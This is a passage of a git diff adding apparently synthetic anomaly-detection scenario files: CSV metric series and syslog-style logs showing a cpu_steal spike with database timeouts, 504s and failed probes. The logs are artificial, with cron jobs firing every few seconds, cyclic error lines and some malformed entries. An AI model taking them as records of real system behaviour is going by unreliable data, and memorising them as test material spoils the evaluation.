exceeding threshold of 1000ms. +Aug 24 14:05:40 web-app[1049]: INFO: GET /api/v1/status HTTP/1.1 200 +Aug 24 14:05:42 web-app[1689]: DEBUG: Database query returned 83 rows. +Aug 24 14:05:43 systemd[1]: Started Session 31 of user ubuntu. +Aug 24 14:05:46 web-app[1144]: WARN: High latency detected for endpoint /api/v1/checkout. Response time: 2.6s. +Aug 24 14:05:47 web-app[1868]: ERROR: Timeout while fetching data from database for request 8612. +Aug 24 14:05:48 web-app[1747]: INFO: Background job 'cache-cleanup' finished in 142ms. +Aug 24 14:05:58 web-app[1158]: DEBUG: Database query returned 42 rows. +Aug 24 14:05:58 CRON[26603]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 24 14:06:02 web-app[1527]: INFO: Background job 'cache-cleanup' finished in 135ms. +Aug 24 14:06:02 systemd[1]: Started Session 46 of user ubuntu. +Aug 24 14:06:14 systemd[1]: Started Session 17 of user ubuntu. +Aug 24 14:06:21 web-app[1290]: INFO: Background job 'cache-cleanup' started. +Aug 24 14:06:25 web-app[1299]: DEBUG: Database query returned 36 rows. +Aug 24 14:06:26 web-app[1625]: INFO: Background job 'cache-cleanup' finished in 92ms. +Aug 24 14:06:29 web-app[1908]: INFO: Background job 'cache-cleanup' started. +Aug 24 14:06:34 web-app[1536]: DEBUG: Database query returned 58 rows. +Aug 24 14:06:45 web-app[1338]: INFO: GET /api/v1/status HTTP/1.1 200 +Aug 24 14:06:51 web-app[1354]: INFO: User 7330 authenticated successfully. +Aug 24 14:07:02 web-app[1690]: INFO: GET /api/v1/status HTTP/1.1 200 +Aug 24 14:07:06 web-app[1057]: INFO: Background job 'cache-cleanup' started. +Aug 24 14:07:09 web-app[1876]: INFO: Successfully processed payment for order 2716. +Aug 24 14:07:09 systemd[1]: Started Session 11 of user ubuntu. +Aug 24 14:07:11 web-app[1478]: INFO: GET /api/v1/status HTTP/1.1 200 +Aug 24 14:07:18 web-app[1946]: DEBUG: Database query returned 80 rows. +Aug 24 14:07:20 web-app[1017]: DEBUG: Database query returned 90 rows. diff --git a/anom_dataset/scenario_5/anom_5_18.csv b/anom_dataset/scenario_5/anom_5_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..5103e6291a102f74ccbf9705ce2b74f0f9813fc0 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cpu_steal_time +2025-07-02 11:00:00+00:00,17.48,40.29,28.13,1.09,1.36,0.1 +2025-07-02 11:00:05+00:00,14.31,42.91,20.71,0.51,1.66,0.15 +2025-07-02 11:00:10+00:00,18.24,37.89,19.65,1.03,1.17,0.05 +2025-07-02 11:00:15+00:00,22.62,39.02,27.41,0.8,1.32,0.13 +2025-07-02 11:00:20+00:00,13.83,38.82,23.88,0.6,1.41,0.07 +2025-07-02 11:00:25+00:00,13.83,35.61,28.57,0.89,1.08,0.06 +2025-07-02 11:00:30+00:00,22.9,40.89,27.37,0.84,1.27,0.09 +2025-07-02 11:00:35+00:00,18.84,40.78,24.64,0.68,1.2,0.05 +2025-07-02 11:00:40+00:00,12.65,40.02,20.77,0.81,1.23,0.07 +2025-07-02 11:00:45+00:00,17.71,39.3,17.43,0.72,0.97,0.04 +2025-07-02 11:00:50+00:00,12.68,35.75,22.77,0.82,1.21,0.2 +2025-07-02 11:00:55+00:00,12.67,38.74,29.28,0.93,1.35,0.1 +2025-07-02 11:01:00+00:00,16.21,38.97,26.07,1.12,1.64,0.07 +2025-07-02 11:01:05+00:00,5.43,37.59,18.77,0.55,1.49,0.11 +2025-07-02 11:01:10+00:00,6.38,39.52,25.87,1.23,1.85,0.09 +2025-07-02 11:01:15+00:00,12.19,41.21,26.93,0.41,0.97,0.09 +2025-07-02 11:01:20+00:00,9.94,45.66,20.58,0.77,1.46,0.13 +2025-07-02 11:01:25+00:00,16.57,40.52,25.77,0.92,1.26,0.14 +2025-07-02 11:01:30+00:00,10.46,40.77,25.29,0.86,1.86,0.07 +2025-07-02 11:01:35+00:00,7.94,39.78,19.29,0.68,0.96,0.07 +2025-07-02 11:01:40+00:00,22.33,34.24,26.79,0.76,0.95,0.09 +2025-07-02 11:01:45+00:00,13.87,39.92,27.8,0.7,1.02,0.0 +2025-07-02 11:01:50+00:00,15.34,40.18,30.42,0.68,0.56,0.02 +2025-07-02 11:01:55+00:00,7.88,47.39,30.27,0.97,1.04,0.17 +2025-07-02 11:02:00+00:00,12.28,39.42,18.11,0.87,0.97,0.18 +2025-07-02 11:02:05+00:00,15.55,40.9,20.31,0.66,1.25,0.09 +2025-07-02 11:02:10+00:00,9.25,39.9,27.58,0.98,1.3,0.13 +2025-07-02 11:02:15+00:00,16.88,36.49,27.57,0.86,1.76,0.12 +2025-07-02 11:02:20+00:00,12.0,43.43,27.58,0.96,1.49,0.25 +2025-07-02 11:02:25+00:00,13.54,42.26,44.26,0.93,1.03,0.16 +2025-07-02 11:02:30+00:00,17.02,42.37,27.85,0.63,0.93,17.51 +2025-07-02 11:02:35+00:00,25.24,37.27,30.68,0.69,1.35,11.61 +2025-07-02 11:02:40+00:00,14.28,44.21,29.77,0.95,0.8,16.59 +2025-07-02 11:02:45+00:00,12.2,35.79,28.26,0.92,1.75,19.32 +2025-07-02 11:02:50+00:00,12.48,41.76,23.42,0.8,1.55,7.59 +2025-07-02 11:02:55+00:00,9.6,46.57,28.79,0.82,1.06,12.61 +2025-07-02 11:03:00+00:00,18.36,37.03,21.14,1.06,0.69,16.73 +2025-07-02 11:03:05+00:00,0.77,38.3,23.82,0.68,1.61,14.39 +2025-07-02 11:03:10+00:00,11.79,40.3,22.57,0.91,1.17,16.11 +2025-07-02 11:03:15+00:00,17.0,38.49,25.41,0.76,1.57,13.19 +2025-07-02 11:03:20+00:00,17.45,35.35,36.57,0.76,0.72,15.26 +2025-07-02 11:03:25+00:00,17.76,40.21,15.66,1.02,1.02,14.53 +2025-07-02 11:03:30+00:00,21.23,36.81,28.43,0.97,1.2,18.5 +2025-07-02 11:03:35+00:00,14.04,41.42,16.94,0.96,1.21,15.76 +2025-07-02 11:03:40+00:00,8.35,37.24,22.64,1.06,1.06,16.01 +2025-07-02 11:03:45+00:00,10.02,44.65,30.44,0.8,1.39,13.76 +2025-07-02 11:03:50+00:00,10.15,37.65,25.32,0.94,0.88,13.54 +2025-07-02 11:03:55+00:00,22.78,39.03,19.61,0.74,1.16,13.7 +2025-07-02 11:04:00+00:00,14.15,42.44,21.42,0.86,1.24,16.18 +2025-07-02 11:04:05+00:00,6.4,36.31,28.4,0.77,1.35,13.74 +2025-07-02 11:04:10+00:00,15.19,40.68,21.35,0.82,1.41,15.87 +2025-07-02 11:04:15+00:00,14.51,43.92,26.08,0.92,0.86,21.23 +2025-07-02 11:04:20+00:00,12.62,35.18,25.23,0.64,0.74,17.61 +2025-07-02 11:04:25+00:00,21.17,40.55,21.74,1.22,1.58,14.02 +2025-07-02 11:04:30+00:00,18.62,40.78,35.72,0.6,1.3,18.6 +2025-07-02 11:04:35+00:00,18.85,42.35,28.17,0.56,0.98,13.78 +2025-07-02 11:04:40+00:00,7.87,36.29,14.87,1.03,1.67,8.89 +2025-07-02 11:04:45+00:00,12.12,36.04,25.93,0.96,1.23,11.98 +2025-07-02 11:04:50+00:00,17.79,41.57,21.69,0.92,1.55,9.39 +2025-07-02 11:04:55+00:00,22.15,40.89,29.26,0.93,1.22,13.95 +2025-07-02 11:05:00+00:00,9.84,40.75,21.04,0.8,1.82,15.06 +2025-07-02 11:05:05+00:00,14.07,41.04,24.43,0.62,1.73,0.1 +2025-07-02 11:05:10+00:00,9.47,37.96,27.52,0.82,1.13,0.09 +2025-07-02 11:05:15+00:00,9.02,40.7,29.33,0.66,1.49,0.05 +2025-07-02 11:05:20+00:00,19.06,40.88,19.0,1.0,1.39,0.07 +2025-07-02 11:05:25+00:00,21.78,37.86,23.33,0.77,1.61,0.14 +2025-07-02 11:05:30+00:00,14.64,45.6,22.63,0.63,0.91,0.13 +2025-07-02 11:05:35+00:00,20.02,41.42,21.73,0.74,1.41,0.05 +2025-07-02 11:05:40+00:00,16.81,36.43,33.83,0.88,1.52,0.1 +2025-07-02 11:05:45+00:00,11.77,41.97,27.02,0.69,0.67,0.14 +2025-07-02 11:05:50+00:00,16.81,37.08,18.7,0.64,0.85,0.02 +2025-07-02 11:05:55+00:00,22.69,42.36,29.59,0.85,0.59,0.13 +2025-07-02 11:06:00+00:00,14.82,43.48,35.61,0.85,1.12,0.07 +2025-07-02 11:06:05+00:00,22.82,37.54,30.16,0.7,1.42,0.13 +2025-07-02 11:06:10+00:00,1.9,42.89,17.4,0.71,1.65,0.06 +2025-07-02 11:06:15+00:00,19.11,41.24,22.58,0.85,1.22,0.01 +2025-07-02 11:06:20+00:00,15.44,42.47,31.33,0.51,1.69,0.02 +2025-07-02 11:06:25+00:00,13.5,45.69,21.46,0.52,0.79,0.1 +2025-07-02 11:06:30+00:00,15.46,39.26,27.22,0.66,0.69,0.11 +2025-07-02 11:06:35+00:00,5.06,37.74,28.87,0.76,1.18,0.05 +2025-07-02 11:06:40+00:00,13.9,37.33,20.37,0.86,1.32,0.13 +2025-07-02 11:06:45+00:00,16.79,37.55,24.7,1.1,1.19,0.02 +2025-07-02 11:06:50+00:00,22.39,39.77,8.79,0.97,0.58,0.1 +2025-07-02 11:06:55+00:00,12.41,41.02,19.88,0.77,1.17,0.04 +2025-07-02 11:07:00+00:00,10.96,40.83,23.74,0.8,0.81,0.07 +2025-07-02 11:07:05+00:00,12.49,42.48,18.76,0.6,1.4,0.1 +2025-07-02 11:07:10+00:00,19.58,40.04,33.16,0.8,1.31,0.06 +2025-07-02 11:07:15+00:00,16.64,44.36,17.85,0.74,0.92,0.08 +2025-07-02 11:07:20+00:00,12.35,39.21,22.8,0.86,1.05,0.15 +2025-07-02 11:07:25+00:00,17.57,48.16,25.65,0.63,0.88,0.07 diff --git a/anom_dataset/scenario_5/anom_5_18.log b/anom_dataset/scenario_5/anom_5_18.log new file mode 100644 index 0000000000000000000000000000000000000000..0075d9e31e20114728bb59b55212523ace006fbc --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_18.log @@ -0,0 +1,90 @@ +Jul 02 11:00:00 systemd[1]: Started Session 10 of user admin. +Jul 02 11:00:05 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:00:10 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:00:15 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:00:20 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:00:25 cron[11223]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:00:30 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:00:35 systemd[1]: Started Session 17 of user admin. +Jul 02 11:00:40 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:00:45 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:00:50 cron[11223]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:00:55 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:01:00 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:01:05 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:01:10 systemd[1]: Started Session 24 of user admin. +Jul 02 11:01:15 cron[11223]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:20 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:01:25 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:01:30 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:01:35 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:01:40 cron[11223]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:45 systemd[1]: Started Session 31 of user admin. +Jul 02 11:01:50 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:01:55 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:02:00 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:02:05 cron[11223]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:02:10 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:02:15 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:02:20 systemd[1]: Started Session 38 of user admin. +Jul 02 11:02:25 app-server[4567]: INFO GET /api/v1/healthcheck 200 +Jul 02 11:02:30 database-proxy[8765]: WARN query execution time of 7.8s exceeded the threshold of 5s +Jul 02 11:02:35 app-server[4567]: INFO GET /api/v1/users?id=123 504 +Jul 02 11:02:40 app-server[4567]: WARN request to downstream service on 10.0.1.23 timed out +Jul 02 11:02:45 app-server[4567]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 11:02:50 database-proxy[8765]: WARN query execution time of 7.8s exceeded the threshold of 5s +Jul 02 11:02:55 app-server[4567]: INFO GET /api/v1/users?id=123 504 +Jul 02 11:03:00 app-server[4567]: WARN request to downstream service on 10.0.1.23 timed out +Jul 02 11:03:05 app-server[4567]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 11:03:10 database-proxy[8765]: WARN query execution time of 7.8s exceeded the threshold of 5s +Jul 02 11:03:15 app-server[4567]: INFO GET /api/v1/users?id=123 504 +Jul 02 11:03:20 app-server[4567]: WARN request to downstream service on 10.0.1.23 timed out +Jul 02 11:03:25 app-server[4567]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 11:03:30 database-proxy[8765]: WARN query execution time of 7.8s exceeded the threshold of 5s +Jul 02 11:03:35 app-server[4567]: INFO GET /api/v1/users?id=123 504 +Jul 02 11:03:40 app-server[4567]: WARN request to downstream service on 10.0.1.23 timed out +Jul 02 11:03:45 app-server[4567]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 11:03:50 database-proxy[8765]: WARN query execution time of 7.8s exceeded the threshold of 5s +Jul 02 11:03:55 app-server[4567]: INFO GET /api/v1/users?id=123 504 +Jul 02 11:04:00 app-server[4567]: WARN request to downstream service on 10.0.1.23 timed out +Jul 02 11:04:05 app-server[4567]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 11:04:10 database-proxy[8765]: WARN query execution time of 7.8s exceeded the threshold of 5s +Jul 02 11:04:15 app-server[4567]: INFO GET /api/v1/users?id=123 504 +Jul 02 11:04:20 app-server[4567]: WARN request to downstream service on 10.0.1.23 timed out +Jul 02 11:04:25 app-server[4567]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 11:04:30 database-proxy[8765]: WARN query execution time of 7.8s exceeded the threshold of 5s +Jul 02 11:04:35 app-server[4567]: INFO GET /api/v1/users?id=123 504 +Jul 02 11:04:40 app-server[4567]: WARN request to downstream service on 10.0.1.23 timed out +Jul 02 11:04:45 app-server[4567]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 11:04:50 database-proxy[8765]: WARN query execution time of 7.8s exceeded the threshold of 5s +Jul 02 11:04:55 app-server[4567]: INFO GET /api/v1/users?id=123 504 +Jul 02 11:05:00 app-server[4567]: WARN request to downstream service on 10.0.1.23 timed out +Jul 02 11:05:05 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:05:10 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:05:15 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:05:20 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:05:25 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:05:30 kubelet[2345]: INFO routine sync completed for pod web-app-clone +Jul 02 11:05:35 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:05:40 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:05:45 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:05:50 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:05:55 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:06:00 kubelet[2345]: INFO routine sync completed for pod web-app-clone +Jul 02 11:06:05 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:06:10 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:06:15 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:06:20 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:06:25 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:06:30 kubelet[2345]: INFO routine sync completed for pod web-app-clone +Jul 02 11:06:35 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:06:40 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:06:45 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:06:50 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:06:55 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:07:00 kubelet[2345]: INFO routine sync completed for pod web-app-clone +Jul 02 11:07:05 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:07:10 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:07:15 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:07:20 app-server[4567]: INFO GET /api/v1/status 200 +Jul 02 11:07:25 app-server[4567]: INFO GET /api/v1/status 200 diff --git a/anom_dataset/scenario_5/anom_5_19.csv b/anom_dataset/scenario_5/anom_5_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..c3e8558ca6e78850e16cd479b598dce7624804a1 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,19.67,0.41,41.24,21.72,0.95,0.63 +2025-07-02T12:00:05Z,24.27,1.0,41.52,26.27,0.84,1.26 +2025-07-02T12:00:10Z,21.89,0.91,42.49,28.54,1.39,0.98 +2025-07-02T12:00:15Z,18.69,0.8,35.29,34.55,0.64,1.46 +2025-07-02T12:00:20Z,22.48,0.26,38.42,24.62,0.52,0.57 +2025-07-02T12:00:25Z,17.17,0.26,38.94,33.75,0.92,0.84 +2025-07-02T12:00:30Z,16.3,0.29,42.57,31.23,1.0,1.17 +2025-07-02T12:00:35Z,18.54,0.91,39.03,28.21,1.1,1.33 +2025-07-02T12:00:40Z,17.04,0.04,41.22,21.86,0.89,0.81 +2025-07-02T12:00:45Z,21.41,0.85,39.05,23.96,0.96,0.7 +2025-07-02T12:00:50Z,22.93,0.71,37.31,28.75,0.94,0.75 +2025-07-02T12:00:55Z,16.42,0.71,35.03,34.64,1.19,1.01 +2025-07-02T12:01:00Z,20.92,0.15,35.92,30.76,0.75,1.03 +2025-07-02T12:01:05Z,17.94,0.51,35.36,32.35,1.1,0.62 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+2025-07-02T12:07:10Z,16.49,0.6,38.37,27.36,0.64,0.89 +2025-07-02T12:07:15Z,19.61,0.23,44.17,34.53,1.45,0.82 +2025-07-02T12:07:20Z,23.71,0.2,43.11,26.58,1.26,0.63 +2025-07-02T12:07:25Z,23.38,0.36,41.25,22.85,0.87,1.05 diff --git a/anom_dataset/scenario_5/anom_5_19.log b/anom_dataset/scenario_5/anom_5_19.log new file mode 100644 index 0000000000000000000000000000000000000000..233a606dd6462e935662863d042ba9fd26204a9b --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_19.log @@ -0,0 +1,90 @@ +Jul 02 12:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:00:05 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK +Jul 02 12:00:10 systemd[1]: Started Session 25 of user app-user. +Jul 02 12:00:15 CRON[15240]: (app-user) CMD (/usr/bin/run-backup.sh) +Jul 02 12:00:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:00:25 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK +Jul 02 12:00:30 systemd[1]: Started Session 35 of user app-user. +Jul 02 12:00:35 CRON[15235]: (app-user) CMD (/usr/bin/run-backup.sh) +Jul 02 12:00:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:00:45 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK +Jul 02 12:00:50 systemd[1]: Started Session 24 of user app-user. +Jul 02 12:00:55 CRON[15242]: (app-user) CMD (/usr/bin/run-backup.sh) +Jul 02 12:01:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:01:05 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK +Jul 02 12:01:10 systemd[1]: Started Session 13 of user app-user. +Jul 02 12:01:15 CRON[15239]: (app-user) CMD (/usr/bin/run-backup.sh) +Jul 02 12:01:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:01:25 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK +Jul 02 12:01:30 systemd[1]: Started Session 38 of user app-user. +Jul 02 12:01:35 CRON[15234]: (app-user) CMD (/usr/bin/run-backup.sh) +Jul 02 12:01:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:01:45 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK +Jul 02 12:01:50 systemd[1]: Started Session 35 of user app-user. +Jul 02 12:01:55 CRON[15239]: (app-user) CMD (/usr/bin/run-backup.sh) +Jul 02 12:02:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:02:05 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK +Jul 02 12:02:10 systemd[1]: Started Session 29 of user app-user. +Jul 02 12:02:15 CRON[15234]: (app-user) CMD (/usr/bin/run-backup.sh) +Jul 02 12:02:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:02:25 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK +Jul 02 12:02:30 webapp[8080]: WARN request processing time exceeded threshold: 3349ms +Jul 02 12:02:35 webapp[8080]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 12:02:40 kernel[1]: INFO task webapp:8080 blocked for more than 120 seconds. +Jul 02 12:02:45 webapp[8080]: WARN Request to database timed out after 2500ms +Jul 02 12:02:50 kubelet[2345]: INFO Liveness probe for pod webapp failed: Get "http://10.0.1.5:80/healthz": context deadline exceeded +Jul 02 12:02:55 webapp[8080]: WARN request processing time exceeded threshold: 4020ms +Jul 02 12:03:00 webapp[8080]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 12:03:05 kernel[1]: INFO task webapp:8080 blocked for more than 120 seconds. +Jul 02 12:03:10 webapp[8080]: WARN Request to database timed out after 2500ms +Jul 02 12:03:15 kubelet[2345]: INFO Liveness probe for pod webapp failed: Get "http://10.0.1.5:80/healthz": context deadline exceeded +Jul 02 12:03:20 webapp[8080]: WARN request processing time exceeded threshold: 4468ms +Jul 02 12:03:25 webapp[8080]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 12:03:30 kernel[1]: INFO task webapp:8080 blocked for more than 120 seconds. +Jul 02 12:03:35 webapp[8080]: WARN Request to database timed out after 2500ms +Jul 02 12:03:40 kubelet[2345]: INFO Liveness probe for pod webapp failed: Get "http://10.0.1.5:80/healthz": context deadline exceeded +Jul 02 12:03:45 webapp[8080]: WARN request processing time exceeded threshold: 5038ms +Jul 02 12:03:50 webapp[8080]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 12:03:55 kernel[1]: INFO task webapp:8080 blocked for more than 120 seconds. +Jul 02 12:04:00 webapp[8080]: WARN Request to database timed out after 2500ms +Jul 02 12:04:05 kubelet[2345]: INFO Liveness probe for pod webapp failed: Get "http://10.0.1.5:80/healthz": context deadline exceeded +Jul 02 12:04:10 webapp[8080]: WARN request processing time exceeded threshold: 3001ms +Jul 02 12:04:15 webapp[8080]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 12:04:20 kernel[1]: INFO task webapp:8080 blocked for more than 120 seconds. +Jul 02 12:04:25 webapp[8080]: WARN Request to database timed out after 2500ms +Jul 02 12:04:30 kubelet[2345]: INFO Liveness probe for pod webapp failed: Get "http://10.0.1.5:80/healthz": context deadline exceeded +Jul 02 12:04:35 webapp[8080]: WARN request processing time exceeded threshold: 3899ms +Jul 02 12:04:40 webapp[8080]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 12:04:45 kernel[1]: INFO task webapp:8080 blocked for more than 120 seconds. +Jul 02 12:04:50 webapp[8080]: WARN Request to database timed out after 2500ms +Jul 02 12:04:55 kubelet[2345]: INFO Liveness probe for pod webapp failed: Get "http://10.0.1.5:80/healthz": context deadline exceeded +Jul 02 12:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:05:05 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK +Jul 02 12:05:10 systemd[1]: Started Session 12 of user app-user. +Jul 02 12:05:15 CRON[15237]: (app-user) CMD (/usr/bin/run-backup.sh) +Jul 02 12:05:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:05:25 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK +Jul 02 12:05:30 systemd[1]: Started Session 23 of user app-user. +Jul 02 12:05:35 CRON[15236]: (app-user) CMD (/usr/bin/run-backup.sh) +Jul 02 12:05:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:05:45 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK +Jul 02 12:05:50 systemd[1]: Started Session 46 of user app-user. +Jul 02 12:05:55 CRON[15242]: (app-user) CMD (/usr/bin/run-backup.sh) +Jul 02 12:06:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:06:05 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK +Jul 02 12:06:10 systemd[1]: Started Session 24 of user app-user. +Jul 02 12:06:15 CRON[15237]: (app-user) CMD (/usr/bin/run-backup.sh) +Jul 02 12:06:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:06:25 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK +Jul 02 12:06:30 systemd[1]: Started Session 27 of user app-user. +Jul 02 12:06:35 CRON[15243]: (app-user) CMD (/usr/bin/run-backup.sh) +Jul 02 12:06:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:06:45 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK +Jul 02 12:06:50 systemd[1]: Started Session 30 of user app-user. +Jul 02 12:06:55 CRON[15241]: (app-user) CMD (/usr/bin/run-backup.sh) +Jul 02 12:07:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:07:05 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK +Jul 02 12:07:10 systemd[1]: Started Session 24 of user app-user. +Jul 02 12:07:15 CRON[15235]: (app-user) CMD (/usr/bin/run-backup.sh) +Jul 02 12:07:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:07:25 webapp[8080]: INFO GET /api/v1/status HTTP/1.1 200 OK diff --git a/anom_dataset/scenario_5/anom_5_2.csv b/anom_dataset/scenario_5/anom_5_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..a49a344fd351ed8ee22991e315f8403fe340cd3a --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cpu_steal_time +2025-07-02T12:00:00Z,21.79,45.6,15.03,1.77,2.38,0.65 +2025-07-02T12:00:05Z,33.01,53.39,27.6,1.64,0.93,0.69 +2025-07-02T12:00:10Z,24.02,44.18,34.85,1.86,1.68,0.83 +2025-07-02T12:00:15Z,28.04,53.09,28.03,0.8,2.4,0.09 +2025-07-02T12:00:20Z,26.58,47.23,31.95,0.95,1.31,0.52 +2025-07-02T12:00:25Z,27.93,52.46,18.69,1.02,1.31,0.45 +2025-07-02T12:00:30Z,38.2,59.59,19.4,1.02,1.08,0.71 +2025-07-02T12:00:35Z,22.93,42.96,27.86,0.75,2.24,0.82 +2025-07-02T12:00:40Z,30.45,56.07,15.7,0.81,1.2,0.23 +2025-07-02T12:00:45Z,23.29,56.01,30.64,1.33,1.18,0.51 +2025-07-02T12:00:50Z,35.54,51.41,28.16,1.51,0.86,0.59 +2025-07-02T12:00:55Z,40.71,55.74,29.62,1.27,0.87,0.4 +2025-07-02T12:01:00Z,27.19,57.23,17.12,1.88,1.95,0.38 +2025-07-02T12:01:05Z,38.15,43.91,17.77,0.72,1.11,0.46 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+2025-07-02T12:07:10Z,31.56,48.92,18.67,0.89,1.65,0.96 +2025-07-02T12:07:15Z,36.94,58.05,28.22,1.41,1.44,0.06 +2025-07-02T12:07:20Z,21.97,55.12,39.79,0.67,1.14,0.27 +2025-07-02T12:07:25Z,31.0,53.34,20.8,1.03,1.54,0.36 diff --git a/anom_dataset/scenario_5/anom_5_2.log b/anom_dataset/scenario_5/anom_5_2.log new file mode 100644 index 0000000000000000000000000000000000000000..e9aa39790abf21ce42a7b8b7f19317cf03a6a71f --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_2.log @@ -0,0 +1,17 @@ +CRON[web-app-v1]: (root) CMD ( /usr/local/bin/backup.sh) +CRON[web-app-v2]: (root) CMD ( /usr/local/bin/backup.sh) +CRON[web-app-v3]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 12:02:35 web-app[4512]: WARN API call to inventory-api took 4743ms, exceeding the 2000ms threshold +Jul 02 12:02:45 kernel: 